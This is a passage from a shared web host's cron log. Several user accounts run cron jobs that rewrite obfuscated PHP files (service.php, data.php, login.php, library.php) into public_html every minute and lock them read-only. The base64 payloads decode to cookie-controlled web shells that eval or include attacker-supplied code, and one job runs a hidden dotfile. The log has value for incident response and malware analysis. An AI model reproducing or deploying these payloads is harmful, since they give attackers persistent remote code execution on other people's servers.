"/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 10:01:02 medusa CROND[21609]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 10:01:02 medusa CROND[21604]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  1 10:01:02 medusa CROND[21612]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 10:01:02 medusa CROND[21613]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 10:01:02 medusa CROND[21615]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 10:01:02 medusa CROND[21616]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 10:01:02 medusa CROND[21617]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 10:01:02 medusa CROND[21610]: (root) CMD (run-parts /etc/cron.hourly)
Mar  1 10:01:02 medusa run-parts(/etc/cron.hourly)[21610]: starting 0anacron
Mar  1 10:01:02 medusa run-parts(/etc/cron.hourly)[21821]: finished 0anacron
Mar  1 10:02:01 medusa CROND[11115]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 10:02:01 medusa CROND[11129]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 10:02:02 medusa CROND[11184]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 10:02:02 medusa CROND[11185]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 10:02:02 medusa CROND[11186]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 10:02:02 medusa CROND[11187]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 10:02:02 medusa CROND[11189]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 10:02:02 medusa CROND[11191]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 10:02:02 medusa CROND[11195]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  1 10:02:02 medusa CROND[11196]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 10:02:02 medusa CROND[11197]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 10:02:02 medusa CROND[11200]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 10:02:02 medusa CROND[11201]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 10:03:01 medusa CROND[2450]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 10:03:01 medusa CROND[2451]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 10:03:01 medusa CROND[2452]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 10:03:01 medusa CROND[2453]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 10:03:01 medusa CROND[2454]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  1 10:03:01 medusa CROND[2455]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 10:03:01 medusa CROND[2457]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 10:03:01 medusa CROND[2458]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 10:03:01 medusa CROND[2459]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gL